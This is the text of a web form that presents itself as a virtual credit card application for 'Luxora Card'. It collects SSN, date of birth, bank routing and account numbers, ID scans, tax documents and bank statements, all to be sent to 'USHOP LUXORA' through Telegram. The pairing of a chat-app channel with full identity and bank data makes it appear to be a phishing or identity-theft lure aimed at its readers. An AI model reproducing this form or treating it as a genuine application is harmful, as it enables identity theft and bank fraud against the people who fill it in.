Luxora Card — Virtual Credit Card Application

Your application details and documents will be sent to USHOP LUXORA through Telegram for verification. Telegram processes this information. Do not include any account passwords.

I Personal Information

First Name *Middle Name (optional)Last Name *Phone *Email Address *Address *Address Line 2 (optional)City *

State *Zip Code *Country *

SSN *Date of Birth *

II Employment Status

Employment *Employer Name *Annual Gross Income *Bank Name *Routing Number *Account Number *

III Identity Verification

Upload ID (front) *JPG, PNG or PDF · max 50MBUpload ID (back) *JPG, PNG or PDF · max 50MBSSN (SSN card / W-2 / Form 1040) *JPG, PNG or PDF · max 50MBBank statement (3 most recent months) *PDF only · max 50MB

I consent to sending my application details and documents to USHOP LUXORA through Telegram for verification.